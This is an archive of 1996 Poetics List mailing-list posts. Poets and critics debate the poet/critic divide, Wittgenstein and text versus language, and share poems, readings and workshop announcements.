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332. Burt Kimmelman
Re: critics vs. poets (tag team round three)
Thu 11 Jul 1996

Hey Mark,

Is Charles Bernstein's *Artifice of Absorption* poetry, lit crit, crit theory, or what?

Burt

↑ Index

333. Jordan Davis
trouble in river
Thu 11 Jul 1996

that's the word.. debate!

which reminds me of a poem a ninth grader wrote:

Mickey Mouse turned 60 today.
He still looks as young as 60 years ago.
He's still the handsomest
mouse in show biz.
If only people could age
as well as him.
I bet he didn't have to
write while holding
his breath.

--Sarah Blonstein, School for the Physical City

↑ Index

334. filch
satire #2
Thu 11 Jul 1996

<html><head><title>poets vs. critics</title><base href="http://www.chronotope.com/epcone/"></head><body bgcolor="#ffffff" link="#000000" alink="#000000" vlink="#000000"><blockquote><p>Studies have
shown the incidence of peeing in pools to be larger,
by far, among

members of the adult male population. Subsequent studies will show whether this figure can be broken
down by race, socioeconomic status, and/or sexual orientation. If you would be interested in participating in such a study
please contact me at your earliest convenience. </blockquote></body><html>

↑ Index

335. Eliza McGrand- CVA Guest

word, thing narrative.

Thu 11 Jul 1996

The Dreary Familiar, That Story
  ... reading _Where I Stopped_, another of them

Odysseus came back from his war, tells the stories
to _Poetry_, to Namebrand Review. His father dies. They
print that because it's important -- his father,
the dying, the ironic glances and love each buries.

We never came back. We never went there.
War came when we were eleven and the uncle
stuck his fingers in our Down There, when
our father stopped kissing us and we stopped
wanting him to. When we weren't hidden
in childhood but were called out by hate
spewed from cars. It came in the dorm room
where we lay, still saying no as he rolled away
the rock that held down our assurance.
War came and it will never leave
and we will live in this everyday of it
without the luxury of sitting peacefully
under an olive tree and telling young men
in words printed in That Significant Review
because they don't signify, because the space
after Troy allows the reflection of the young mens'
jealousy, hope of glory and the father dying.
We will tell it, as we tell it, over and over,
in the knives and bruises and wrenching betrayals
of the eternally present story.

EMC
@copyright EMC, 1996

↑ Index

336. Gabrielle Welford

ANNC: Literature resource list and publication opportunity (fwd)

Thu 11 Jul 1996

Thought this might be an opportunity for some to get word out. gab.

---------- Forwarded message ----------
New Resource Listing for Computer-Supported Writing About Literature

You're invited to contribute to a collaborative resource list for the Epiphany Project, an Annenberg/CPB project developing resources for educators. If we use sites or sources you suggest first, you will be credited as a contributor both in the project publication, A Field Guide to 21st Century Writing, and on the Epiphany Project's Web site.

Please send me a list of your favorite resources on Computer-Supported Writing About Literature. And don't hesitate to include your own, your students', and your colleagues' work.

= E-mail your suggestions to me privately, Donna Reiss <[redacted]>, by July 23 (I'm the collector of resources for this topic and will assemble and forward them to Judy Williamson, project administrator)

= Give appropriate data about the source (for example, full bibliography info about a book or article or film) and of course the URL if it's a web site, the subscription info if it's a listserv.

= Include a sentence or two annotation just to let us know why the source is notable.

= Don't forget to include info about yourself: your name and school as you want them listed; what you do/teach/or whatever; your e-mail address; if appropriate, your own home page address.

= Repost this invitation to other lists and individuals that you think would be able to offer similar resource listings.

So what's Epiphany, anyway? See their sites through the home page:
http://mason2.gmu.edu/~jwillia9/epiphany.html

Or see what they did at their summer institute in Richmond:
http://www.vcu.edu/hasweb/eng/junebug/index.html

Looking forward to your suggestions-- Donna
==========

========== Donna Reiss, Department of English, Tidewater Community College-Virginia Beach 1700 College Crescent, Virginia Beach, VA 23456 Phone: [redacted] Fax: [redacted] Internet:[redacted] VCCS-mail:[redacted] WWW Home Page:
http://www.infi.net/tcc/tcresourc/faculty/dreiss/dreiss.html

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337. Poetics List
To a Captious Critic (fwd)
Thu 11 Jul 1996

---------- Forwarded message ----------
Date: Thu, 11 Jul 1996 12:57:20 -0400 (EDT)
From: Alan Golding <[redacted]>
To: Poetics List <[redacted]>,
"Aldon L. Nielsen" <[redacted]>
Subject: To a Captious Critic

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Aldon--I'm posting this to the list and backchannel to you 'cause the list has been rejecting my messages lately, for reasons not entirely (or even slightly) clear to me.

Anyway: "To a Captious Critic" is by Paul Laurence Dunbar, right? Though at first I'd mixed it up in my head with Cullen's "To Certain Critics"--worth a second look in the context of the recent conversation on the list around the race / universalism / sociology / etc. nexus, as Cullen's defense of his own aspirations to universalism (which I've always taken to be ambivalent ones). I'm guessing Cullen was a pretty important poet for Hayden, though you'd know better than I.

Happy moving, if such is possible.

All best,

Alan

↑ Index

338. Jordan Davis
summer reruns (amphetamine use of the gods...)
Fri 12 Jul 1996

---

or aporia use
or asymptote use

well, or the calculus, the consciousness of limits is
either, again, having a death waiting for us someplace
or finding what's _sufficient_ of which I'm suspicious
and often delighted, yes. but the recurring issue of

speed

which everybody seems to think was a boring movie
but I admired its structure at least as much as
I admired the structure of back to the future i, ii, iii
Keanu playing motionless for once was nice

rallies me and not because I hate futurism
rushing around crazily bores and flatters
and being all you can be has always sent me
to the refrigerator for halftime

so acknowledging "cognitive limits" is a
fairly beautiful part of talking to people
and I have no _need_ to take issue with
Bruce or Watten except that I miss that

necessary vulnerability I admire their
"speed" I worry where they're going so
fast though and what they step on
or in on their way now O'Hara in "easter"

or "hatred" although the first articulates
his position as alcoholic and the second
steals ruthlessly from Rimbaud and so
puts him way back on the poursuivre meter

is a model of speed with isolable frames
unlike the blurry stills we get from
more recent demons which may mean that
he wasn't going as fast I think it means

he had better form at any rate
I'd like to get out from under
this thinking of myself, ourselves
as in the parameters of the recent past

which has stridently claimed I think
to be patrolling the borders of sense
and nonsense when they are pace Larry
more like barrier islands

usually where the maps say but
not necessarily so I'm with that
wet meaning, Rod, but I wish for
a superhuman ordinary life

you know like the greeks said they had
it may have just been grade inflation
to keep the kids out of the Trojan war
but that constant praise made itself known

gratefully,
Jordan

(previously posted elsewhere)
(we all say the same things over and over anyway)
(goin' mahayana on your ass)
(tarantino = gingrich)

↑ Index

339. **Aldon L. Nielsen**
Re: The Clarify Brothers
Fri 12 Jul 1996

Hank -- "American Journal" was not, in the usual sense, an occasional poem -- What I meant was that i had always read it as the occasional poem he felt called upon to write as our (for two years anyway) sort of national poet -- meredith wrote a (much shorter) kind of national poem during his time in the office -- and thanks for your comments on the poem -- will give it a further look with that in mind

↑ Index

340. **Aldon L. Nielsen**
Re: Ur Irby and others
Fri 12 Jul 1996

Michael -- Now that's useful information -- With all my migrating northward these past years I've never had the chance to use the UCSD collection, and am now removing to another state -- will get in contact with Special Collections about possible return visit --

On Irby -- There was a special Irby issue of, I think it was, Credences many years ago that is well worth digging out and looking at again --

Ron -- If you can narrow down your Monthly Review memories to at least a year or two, I will look for those pieces before I leave town and try to xerox them for

the both of us -- On the subject of Texas -- When I introduced Lorenzo Thomas at Orono I repeated something a friend of his had told him when Lorenzo decided to make the move to Houston permanent -- the friend told him: "You won't be a southern poet, you'll be a forgotten poet."

I am told, though, that there will be a book of Lorenzo Thomas poems in Germnay later this year --

Filch -- THAT ONE had me rolling on the floor with laughter -- I needed that --

AND NOW EVERYBODY --

Sterling Brown used to recite this as his example of a universal poem:

I
have
a
belly
ache

of course, this did not prevent critics from accusing him of simply belly-aching

↑ Index

341. Aldon L. Nielsen
hidden Hayden
Fri 12 Jul 1996

---

lest I leave everybody even more confused, let me add that Robert Hayden's poem was occasional on at least one accasion -- It was read as the Phi Beta Kappa poem at the University of Michigan in 1976. The cover of the first edition of _American Journal_, (Effendi Press 1978) is well worth looking at -- a sort of space collage with Hayden looking on --

↑ Index

342. Christina Fairbank Chirot
Ken Irby
Fri 12 Jul 1996

Besides the credences Irby issue Aldon Nielsen pointed out on this list, Vort #3 Summer 1973 is an Irby/Bromige issue--has an excellent interview and the poem 'Jesus" later collected in To Max Douglas, as well as essays and reviews--including one on To Max Douglas by Don Byrd. An interview with Irby is also in Lee Bartlett's Talking Poetry (New Mexico Press, 1987). SPD still has Orexis--for $4.50, as well as Call Steps. Big Deal and Truck published Irby often if you have access to them and arelooking.

I woke up hearing Delius
wondering why I'd forgotten
making the walk to paradise
("Delius")

dave baptiste chirot

PS: thanks to Charles Smith for his comments, suggestions on finding Irby texts--Charles mentioned Ronald Johnson--new Chicago Review has interview, poetry, essays on Johnson--Vort had interview and comments (can't recall the issue number--I think from '74) well worth checking out in conjunction with Chicago review issue-- as Ark in its entirety available now from Guy Blaisdell's Living Batch Books. Johnson's Radi Os--from Sand Dollar--seems to have resurfaced in some places--"get it while you can"--

↑ Index

343. Kevin Killian
Re: white rose
Fri 12 Jul 1996

Hello everyone, it's Kevin Killian. Maria, your post (and the post of Charles Smith) about Jay de Feo inspired me to tell y'all a little bit about my new play. When the Beat Culture show comes to SF, I hope all of you who are in town for the opening can come to see my play, "Wet Paint" which Bill Berkson has asked me to stage at the SF Art Institute. This play will be the life of Jay De Feo.

Yes, I have rounded up an all-star cast to act out the different parts. Phoebe Gloeckner will have the main part, Jay De Feo, a feminist artist working in the heyday of the North Beach beat bohemia. Norma Cole will be playing Kay De Feo, her unruly twin sister, who spoils Jay's life by sneaking into her studio at night and adding yet more paint to her "Rose" picture. Leslie Scalapino and Jonathan Hammer will be playing representatives of Hallmark Cards, who have commissioned "The Rose" as a tiny little cameo piece. They like everyone else are annoyed at how large it's getting, and Jay really has no explanation. Rex Ray will be Bruce Conner. Tosh Berman, you will be glad to know that your father, Wallace Berman, will be portrayed on stage too. They were all part of the scene for sure. Let's see what else happened. I called up Michael McClure and asked him to play himself as a young man. He demurred, gee, I wonder why! He said he was too overbooked, but sympathized with my dilemma-who on the current scene is handsome, studly, sexy enough to play the young Michael McClure? (Suggestions, please). I thought it would be a great coup de theatre, all the characters would be standing around saying things like, "Hey, what's Michael McClure been up to lately?" and then he (the real Michael) would come

out in those leather pants he invented. But alas, someone else will have to fill those well-worn leathers.

I'm especially gald to announce that Rebecca Solnit will be acting in my play. I hope you all know Solnit's book "Secret Exhibition: Six California Artists of the Cold War," which is really a great book about De Feo, Jess, Conner, W. Berman, George Herms and Wally Hedrick. She will be playing Frida Kahlo, and Cliff Hengst will "be" Diego Rivera. Margaret Crane will be Jay's psychiatrist, unconvinced that she really has a twin sister who is ruining her life. Scott Hewicker will play Tuesday Weld, one of the outlaw Hollywood crowd who made North Beach a kind of Hollywood North in the late 1950s, and D-L Alvarez will be the very young Janis Joplin, drawn to "The Rose" as a kind of avatar of meaning of her own confused life. There will be plenty of other parts too, so come on everybody, bring your bongos and your collage vision of California junk/funk assemblage and buy a ticket today, or be in it! Needless to say this will be yet another benefit for Small Press Traffic! Thanks!

Kevin K.

↑ Index

344. Christina Fairbank Chirot
Ken Irby
Fri 12 Jul 1996

Note: Glitch, not Big Deal (of ones I've seen)published Irby (collected in Orexis.) Bezoar also. Truck also published Enslin. Niedecker special issue #16 well worth a search.

dave baptiste chirot

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345. Kevin Killian
Re: e-mail politics
Fri 12 Jul 1996

At 4:00 PM 12/31/69, william marsh wrote:

> *distinctions between so-called "poetic"*
> *and "critical" writings, as you point out, have been effectively eradicated,*
> *most profoundly by those poet/theorists (Susan Howe, Charles Bernstein,*
> *among several others) whose work is very much concerned with blurring the*
> *disinction.*

I think we should pause here and give tribute to those who promoted this blurring as a feminist project, particularly the editors/associate editors/contributing

editors of _HOW(ever)_. Such as Kathleen Fraser, Bev Dahlen, Rachel Blau Du-Plessis, Frances Jaffer, Susan Gevirtz, Carolyn Burke, and Chris Tysh.

Dodie Bellamy

↑ Index

346. **hnry**

*Re: Critics *vs.* poets? What I miss here are criticisms of poetic technique.*

Fri 12 Jul 1996

On Thu, 11 Jul 1996 17:39:47 -0400 Carnography said:
>1. (Uttered in a nasal, pestering monotone):
>
>Were Pound and Eliot poets or critics? What about Mathew Arnold?
>
>Was Sir Walter Raleigh an explorer or a writer?
>
>Is Charles Bernstein an *ip-ap-grrr-whing* or a critic?
>
>What was like Campion, who wrote treatises on prosody?
>What were Peacock and Shelley, who wrote long essays on poetics?
>
>(Since many studious poets have written critical essays, and
>some do so regularly, the dichotomy between critic and poet
>strikes me as problematic.)

There are lots of cases of poet-critics, and every poet is a critic and probably every good critic is something of a poet; but maybe what Mark was getting at is the clashes in the arena when the center of the one activity tangles with the other.
When the informed and weaponed reader-critic becomes the arbiter of taste & the explainer of how who done what. Impossible not to cross those lines.
>
>Does anyone else here want to get down into the burial site
>and discuss the texture of poetry? I'd love to know how the
>rest of you read and write.

Curiosity killed the carp. You're delving into two taboo areas: "secrets of the craft", and "inspiration". I'm not criticizing, just commenting. - Henry Gould

↑ Index

347. **k.a. hehir**
the loveliest of all
Fri 12 Jul 1996

dreamy
black unicorn
vision
the god of cult
studs

lurking lurking

nocturnal
eloquence

↑ Index

348. **k.a. hehir**
Pe: rformance
Fri 12 Jul 1996

hello all,

i've been away for a spell and have just waded through 212 messages, so i have a few short comments.

firstly- the second of the londonOnt poetry series takes place this monday the 15,same place and time as before - carolyn guertin, mark tovey, mike gallay, theresa smalec, kyla brown and curt moeller. now i realise that most(well,practically all)of you can't make it but if i may be allowed to use this announcement to respond to a thread. the success of the first of the series three weeks ago was due to the diversity of voices heard. at least 40 years seperated tthe some of the 8ight readers. the audience reflected the program - from graduate to high school- and had a lot of fun. how is success measured? well, 70 people sat for almost three hours with a 30 min break, drank beer and cider,clapped, laughed, were offended and asked when the next one was.

the combination of townies and university types in the crowd and ont the boards leads me to make a comment about the poet/critic melee. most poets started writing before they knew what poesis was or realised that one could make a living as a literary coroner. one young poet commented to me that the poets from the university had lost all sense of wonderment and used allusion clinically rather than as an homage. i didn't really know what to say. 10 years ago when i was eighteen i wrote this cinquain:

scholars
bumbling down corridors

bu bling down
the poets ha e set t
salvation by equation
black laughs

i'm not sure how far i've come now that i pay money to talk about rimbaud in a classroom.

sorry, getting rambly on you and the text is starting to do it's own thing. but i too often think that sometimes when the critics go out to play the poets can only come along if the play net. well at least you can have a smoke when the play is at the other end.

take care,
kevin

"i won't bore you with quotation"
David Bromige

↑ Index

349. k.a. hehir
Pe :rformance
Fri 12 Jul 1996

sorry the cinquain got juiced,

scholars
bumbling down corridors
the poets have set traps
no salvation by equation
black laughs

must go poster!
kevin

↑ Index

350. Larry Price
Onward
Fri 12 Jul 1996

Dear Jordan, Dean, and Henry:

My response will be direct in some cases, glancing in others. Some of this repeats another context, for which I apologize, but the things here are the points to which my thought runs concerning this, for me, largely the issue of the status of poetic language.

As much, Dean, as I'm intrigued by your enjambment of Wittgenstein and Olson, I don't think I'd ever be satisfied with a definition of meaning that accounts for it strictly in terms of language (nor for that matter, strictly in terms outside of it). And I think it was that same discomfort that elicited Wittgenstein's fly-bottle amulet. Which is to say, I've never been comfortable with that formula, Meaning is Use. It seems to shine its light only on the feet, finding there footprints leading back up the wall they've just traversed. What I intend to say is: as a term, "use" can only be a partial definition, albeit an important part. And it's true that it is "in" language, but that still leaves me in the fly-bottle. Here I agree with Elena Shvarts and Henry to this extent: I write to engender what isn't. To write what I already know, my use/age, is simply to retrace the hermeneutical (or equipmental) ring already implied in my terms and which those terms determine.

But, Henry, that hardly points to context as a set of barnacles to be mastered. As you yourself say, the writer is written. Here again, Olson with his conic sections registers the potential of limits - outside those limits. It's that intersection, call it elision of registers, that gives us most powerfully the image of what stands beside those limits.

First of all, Henry, you seem to have posed various terms - language and poetry most notably - AGAINST time. Which puzzles me, assuming as I do that temporality fundamentally constitutes all the threads of and through which we are written. And (what I really want to say) just as THEY are constitutive of IT. So then the call forward, the heuristic limning I wrote of yesterday that thinking is, recalls to me Tony Green's carefull attention some weeks ago to the "never more than" in Creeley's formula. Nonetheless, I think the answer to the NO NEW FORMS swamp is to reverse it: that is, I think form can actually precede and illuminate the context and/or content, and in that becomes new form (Olson's intersections). But, Henry, that hardly constitutes "mastery." For example, I've been trying to come to an adequate reading of Rod Smith's IN MEMORY OF MY THEORIES - a great book which I unreservedly recommend - not because I particularly like Mr. Smith but because I particularly like this book. One of the things I'm trying to understand is how form functions in it. The book is all disjunction and yet the line holds, remarkably tensile over and across such displacement of registers. Lexical materials come from everywhere and despite my, the reader's, lack of specificity as to what or how, the contexts come as well. That is, the world is pulled up, across, into the form, such that the form is continuant AND new, both in its discovery to me and in my availability to it.

And in thinking of availability, the "at home" registration of the fundamental research thinking's call forward delivers, two more things occur to me:

First, Santiage Ramon y Cajal's "neuron doctrine" - that nerve cells communicate with others through contiguity rather than continuity - and all the attendant neural machinery: receptors, adjustors, effectors, transduction, afference, and my personal favorite, the Sodium-Potassium Pump (as Rod said, Duchamp is useful in this context), moving as it does Na+ outward and K+ inward against their concentration gradients, thus maintaining neural availability by setting the "membrane potential."

Second: Contingency, which as a term, has three implications:

1. The past is NOT the single, determining condition of the present. The past could have been otherwise.

2. The present leaves the past behind in a state of indeterminateness (and incompletion). Thus, the present stands alone in its temporality, as it were, awaiting our operations.

and

3. The present AND the future are to be determined _in_ the contingent present.

Thus Emerson: "No facts are to me sacred; none are profane; I simply experiment, an endless seeker, with no Past at my back."

So that, if we conjoin the neuron doctrine and its string

place >> stimulus >> receptor >> adjustor >> effector >> history

with that three-headed dog of contingency, call me a mystifier hopelessly enamored of water, but it begins to look like a poetics and a politics in which poetic language is more than a limit case of the larger set, Language, accounting for use, prospective, but at the same time thoroughly implicated in all the strains of its temporality.

Sorry to have gone on at such length and I'm sure with too many unresolved conflicts. Still, as writers (and I suppose this is my real argument with you, Henry), I think it's important to determine the point at which the work is effective: Is it effective in and of (as well for) itself AT the point at which the text is enacted? Or must it await canonization. Obviously from the above, I think that poetic language IS adequate in and of itself and is more than decorative arrangements for the corridors of time.

Baldly: I live here.

lp

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351. **henry**
Re: Onward
Fri 12 Jul 1996

On Fri, 12 Jul 1996 10:04:12 -0400 Larry Price said:
>
>But, Henry, that hardly points to context as a set of barnacles to be
>mastered. As you yourself say, the writer is written. Here again, Olson with

I didn't say the context (barnacles) was to be mastered. I said it attaches itself willy-nilly to the choices the writer makes. I was trying to counterbalance Rod's "eastern" (and currently popular?) emphasis on the complete multivalence of meaning, the supremacy of context.

> *First of all, Henry, you seem to have posed various terms - language and poetry most notably - AGAINST time. Which puzzles me, assuming as I do that temporality fundamentally constitutes all the threads of and through which we are written. And (what I really want to say) just as THEY are constitutive of*

My point was that language, and perhaps poetry-making in particular, breaks through to a deeper strata of time, deeper than the ordinary "metronome tapeworm" sense of time. The _pleroma_, the playground, the fulness of time. Ripeness is all.
>
>Sorry to have gone on at such length and I'm sure with too many unresolved
>conflicts. Still, as writers (and I suppose this is my real argument with
>you, Henry), I think it's important to determine the point at which the work
>is effective: Is it effective in and of (as well for) itself AT the point at
>which the text is enacted? Or must it await canonization. Obviously from the

I can't understand why my very first post on this question, in which I remarked a fascination on my part with artworks that "last", gets me fingered as some kind of Vendlerian canonizer. Why do we immediately jump into the academic "critical" framework? Do we think critics are SO powerful? I'm talking about the lastingness which gets Shakespeare played by mechanics in smalltown hotels in Connecticut in the 19th century, or gets the Bible read, or gets Willa Cather read in spite of all the critics. About works that transcend the popular/elite dichotomy (the Blues is probably America's most powerful, intricate, profound, and at the same time popular poetry). Your dichotomy about the effectiveness of a work is a false one. Of course the work is effective in an of itself in its own time - my point was that some works (and this doesn't make them "better" - just strong) live beyond the present. - Henry Gould

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352. **henry**
Re: barnacle a (onward)
Fri 12 Jul 1996

On Fri, 12 Jul 1996 11:45:13 -0500 Jordan Davis said:
>It's not a fair assumption that fashion is false. You miss a lot that way.
>
>'deeper' 'beyond the present' 'profound' -- I want to say I know what you mean.
>
>I think though we had different playgrounds. I too read Willa Cather, but
>it's not that mysterious to me why I want to (or Sarah Orne Jewett, or
>Milton, or T.S. Eliot, or Langston Hughes, or Turgenev). Is affection
>mysterious? Is dancing? Is mystery mysterious? Nope. Is thinking
>mysterious? Thinking is often foggy, but fog is not mysterious.
>
>As they say in the song, 'let's be undecided.'

I agree with you, Jordan. What I said in my last post was that it was a false dichotomy. But I still think that ONE measure of greatness (a middle term between "strong" & "better") is continuing interest & relevance, that lasts beyond the current fashion. The thing about fashion is that it is ONLY current. That's the definition of fashion, I'm not saying it's good or bad. And some academic poets (and I'm not just talking Vendler or APR here) as well as other poets dig themselves in very sophisticated ways into the present - fashion included. (The current fad is: "let's be undecided"). Why does the world read Whitman rather than James Russell Lowell? This seems to be a troubling question, even for fashionable anti-canonizers and trendy outsiders. The ironic thing about the American experience has been that unfashionable truth: "The first shall be last, and the last first." - Henry Gould

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353. **Jordan Davis**
barnacle a (onward)
Fri 12 Jul 1996

It's not a fair assumption that fashion is false. You miss a lot that way.

'deeper' 'beyond the present' 'profound' -- I want to say I know what you mean.

I think though we had different playgrounds. I too read Willa Cather, but it's not that mysterious to me why I want to (or Sarah Orne Jewett, or Milton, or T.S. Eliot, or Langston Hughes, or Turgenev). Is affection mysterious? Is dancing? Is

mystery mysterious? Nope. Is thinking mysterious? Thinking is often foggy, but fog is not mysterious.

As they say in the song, 'let's be undecided.'

Jordan Davis
[redacted]
46 e 7 no 10 I believe
NYC 10003 Spumoni $1.00

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354. **william marsh**

*Re: Critics *vs.* poets? What I miss here are criticisms of poetic technique.*

Wed 31 Dec 1969

At 05:39 PM 7/11/96 -0400, you wrote:
 But in many ways, I don't feel that
>linguistics and semiotics adequately address the texture of a poem
>as it was written by a specific poet who used idiosyncratic compositional
>processes.

My question would be why would we ever expect linguistics and semiotics to "adequately address the texture of a poem"? Linguistics and Semiotics adequately (arguably) address language and meaning, and to the extent that explorations of this type suggest avenues of inquiry when dealing with a particular poem or poetry, they are useful -- in my mind enormously useful -- without necessarily addressing the whole issue o writing. To get to the texture of the poem, we read the poem, right? To get to the texture of theory, read theory.

But what intrigues me about the "open" poetries of this and the last decade is the extent to which they seem, to me at least, to share the interest and perspective of ling/semio studies, so that distinctions of these kinds (poetry vs. criticism/theory, etc) seem pointless. Language arts and language philosophies share the same venue, as much of the work of the last two decades demonstrates (the work not only of "poets" like Howe, Bernstein and Silliman, but also of "critic/theorists" like M. Perloff (Howe, Bernstein and Silliman!)). The way i see it, this suggests a practice in contemporary poetics that goes beyond neat packages like "theoretical poetry" or "poetic theory".

>
>Does anyone else here want to get down into the burial site
>and discuss the texture of poetry? I'd love to know how the
>rest of you read and write.
>

>
How 'bout if we discuss the poetry of texture, which might adequately address the writing of poetry.

Bill Marsh

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355. **Rod Smith**
Re: barnacle a (onward)
Fri 12 Jul 1996

HG wrote:
>The
>current fad is: "let's be undecided"

well, I'm undecided whether this is true. Actually, this isn't that different from the use of "zeitgeist" -- there is no one fashion any more than there's one zeitgeist, eh? Go to a slam or a CK Williams class at Princeton and see abt undecideability, you'll find a bit, but not what it wld mean here. & even on this list what folks wld mean by or agree upon with reference to that term is way up in the air, maybe over the wall in left-center.

One "fad" I'd like to see sucess for is the Philly Borders boycott.

Rod

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356. **Ward Tietz**
Re: Onward
Fri 12 Jul 1996

Larry Price,

I haven't been following the exchange between you and Henry, Dean, Jordan and Rod as much as I probably should have, but a few things came to mind after reading your recent post.

I wonder if some of these issues wouldn't perhaps be better conceptualized as textual phenomena rather than language phenomena, and I would apply that also, I think, to your sense of poetic language, since it seems to me we are still very much in the domain of discursive form.

With Wittgenstein it does certainly appear that his "language" games occur on the level of language, but I think these may be textual as well. If they really occurred on a level of language we should be able to translate them into other non-discursive languages, quantitative or pictorial say, and this it seems we can't quite do. They're too propositional, linear and cumulative.

I think this text / language distinction might carry over to some of your other ideas, and also to Henry's idea of being "against time." Language, is seems to me, is subject to an enormous range of presentational and performative contexts and reformulations in ways that text isn't. Text also has a particular speed to it and with that a certain temporal limit or paradigm. By comparison language has a wider range and can get around some of these limitations, but this capacity is finally quite a lot more, I think, than what text supports.

In general though, I think I agree with you, as long as poetic language doesn't only mean poetic text.

Ward Tietz

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357. **Burt Kimmelman**

Re: Critics *vs.* poets? What I miss here are criticisms of poetic technique.

Fri 12 Jul 1996

---

okay Bill Marsh,
What DO you exactly mean by texture?
Burt

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358. **Joe Amato**

fyi...

Fri 12 Jul 1996

---

so what do you folks make of the appended?...

(((love to continue on with dodie about how i think the term "middle class" has sucked up what used to be called "working class," but---

i'll be away from my machine, my apt., and my creditors beginning saturday... i know---i can hear (in my egocentric head) many of you already ('WHAT A RELIEF!')...

won't be back till approx. 1 august, hopefully a bit suntanned and mountain-aerated... hope y'all have a nice summer (and winter for you folks down-under!) in the meanwhile... and apologies for any unnecessary mouthiness or presumption on my part of any but good intentions...

all best to *all*,

joe

From [redacted] Sun Jun 23 18:47:58 1996
Received: from localhost by world.std.com (5.65c/Spike-2.0)
id AA05055; Sun, 23 Jun 1996 14:47:58 -0400
Date: Sun, 23 Jun 1996 14:47:58 -0400 (EDT)
From: Steve Robinson <[redacted]>
To: Steve Robinson <[redacted]>
Subject: ON-LINE POETRY WORKSHOP
Message-Id: <[redacted]>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Status: RO
X-Status:

MEDIAWORKS is proud to offer an On-Line Poetry Writing Workshop with Hilda Raz!

Hilda is editor of the quarterly literary journal PRAIRIE SCHOONER, poet, critic, and associate professor of English at the University of Nebraska-Lincoln.

This unique On-Line Poetry Writing Workshop will take place over a three week period beginning on July 15. The workshop is for poets interested in reading contemporary poetry, and honing their poetry writing skills. Subjects include the tools of contemporary poetry, the writing process, voice, narrative, non-traditional forms, and collaboration -- with a strong emphasis on YOUR writing.

The workshop will be limited to 12 people, and is being offered for $125. Each participant will be part of a private mailing list. Everything participants post to the list will be seen only by the other participants, Hilda, and the workshop moderator.

Ideal participants in this workshop should have experience reading and writing contemporary poetry, have taken poetry writing classes at the college or senior high school level, or be adult poets who have experience writing in groups. People with a penchant for rhyming might better study with another poetry group.

IF YOU ARE INTERESTED IN PARTICIPATING IN THIS UNUSUAL POETRY WORKSHOP, PLEASE SEND AN E-MAIL MESSAGE TO:

[redacted]

We will contact you within a few hours to discuss the details.

Hilda Raz's books include _What Is Good_ and _The Bone Dish_ and a new manuscript _Divine Honors_. Her poems have been published or

> *are forthcoming in _Ploughshares_, _The Southern Review_, _Colorado Review_, _Hollins Critic_, _Poems for a Small Planet: Contemporary American Nature Poetry_, _Literature and Medicine_, _Judaism_ and elsewhere. She is also a critic and writer of creative nonfiction. Her experience in teaching includes writing workshops at the Bread Loaf Writers Conference, the University of California/Chico, University of Tennessee, City University of New York at Brockport, Florida State University at Tallahassee, the University of Massachusetts-Boston, Hollins College, the University of Denver, the University of Nebraska-Lincoln, and elsewhere.*
>
> *Since 1987, she has been editor of PRAIRIE SCHOONER, the venerable literary quarterly, now entering its 70th year of continuous publication. Contributors include winners of the Pulitzer, Nobel, MacArthur, NEA and other major grants and prizes, and have been Poets Laureate of the United States, as well as beginning and mid-career writers. PRAIRIE SCHOONER publishes poetry, fiction, creative nonfiction, and reviews.*

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359. **Rod Smith**

Re: Onward

Fri 12 Jul 1996

Ward T. wrote:
>With Wittgenstein it does certainly appear that his "language" games occur on
>the level of language, but I think these may be textual as well. If they really
>occurred on a level of language we should be able to translate them into other
>non-discursive languages, quantitative or pictorial say, and this it seems we
>can't quite do. They're too propositional, linear and cumulative.

Not sure abt this, Witt did a lot of work in other areas, mathematics from early on, pictorial: the famous figure ground bunny/duck. He investigated vision & color extensively in _Remarks on Colour_ in similar terms to the language-games. & _On Certainty_ as well as aspects of the Investigations seems to me to move into areas of perception generally, not strictly "language-games." Any case, my understanding of the term language-games is that it is contextual, i.e. perceptual. Also, I generally don't find Witt "linear" but definitely cumulative.

As Larry sd "I don't think I'd ever be satisfied with a definition of meaning that accounts for it strictly in terms of language (nor for that matter, strictly in terms outside of it)." I think we don't know enough to adequately describe these

processes, which is perhaps why Derrida or cognitive science can seem brilliant at times, & useless at others.

>In general though, I think I agree with you, as long as poetic language doesn't
>only mean poetic text.

yup.

Rod

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360. **Steve Carll**
Re: barnacle a (onward)
Fri 12 Jul 1996

At 11:45 AM 7/12/96 -0500, Jordan Davis wrote:

> *Is affection*
> *mysterious? Is dancing? Is mystery mysterious? Nope. Is thinking*
> *mysterious? Thinking is often foggy, but fog is not mysterious.*

Fog itself may not be mysterious, but fog grants mystery to what it touches, a mystery that may not be dispelled by our knowing what it covers without having to see it. Fog imparts this to thinking, and thinking to what is thought.

****

Steve Carll
[redacted]

"So I start a revolution from my bed
'Cos you said the brains I had went to my head"
--Oasis
****

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361. **henry**
Re: Onward
Fri 12 Jul 1996

On Fri, 12 Jul 1996 13:46:06 EDT Ward Tietz said:
>
>I think this text / language distinction might carry over to some of your other
>ideas, and also to Henry's idea of being "against time." Language, is seems to
>me, is subject to an enormous range of presentational and performative contexts
>and reformulations in ways that text isn't. Text also has a particular speed

>to
>it and with that a certain temporal limit or paradigm. By comparison language
>has a wider range and can get around some of these limitations, but this
>capacity is finally quite a lot more, I think, than what text supports.

Is text the dead letter, the poison cure, the marrow in them dead bones? Bones gonna dance too - they come last. Right, Mr. Bones? - Henry Hankovitch con guit

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362. Gabrielle Welford
Re: barnacle a (onward)
Fri 12 Jul 1996

On Fri, 12 Jul 1996, Rod Smith wrote:

> One "fad" I'd like to see sucess for is the Philly Borders boycott.
>
> Rod
>
Yes, and for those so inclined, there are boycotts in many other cities too--and even boycotts you can start yourselves. gab.

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363. Gabrielle Welford
text/language
Fri 12 Jul 1996

How can text and language be distinguished? I guess have to take a long look at how the word "language" and "text" can and can't sensibly be used. Otherwise into the foggy dew we go. gab.

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364. Charles Alexander
Re: text/language
Fri 12 Jul 1996

> *How can text and language be distinguished? I guess have to take a long look at how the word "language" and "text" can and can't sensibly be used. Otherwise into the foggy dew we go. gab.*

Isn't language much broader? It includes music & other sound-language, visual languages of many kinds, all sorts of symbolic language other than the ones

which use letters & words; & usually text is grounded in those letters & words, although I'd be glad to conceive of text more broadly, too.

Or, for example, dealing with book arts/artists' books, the text of the book would be whatever language-text is presented therein, but the language of the book would have to include all its other parts (visual, structural, sometimes aural, etc.) as well. Books can (they don't always, or do they?) make literature physical.

charles

↑ Index

365. **maria damon**
Re: white rose
Fri 12 Jul 1996

---

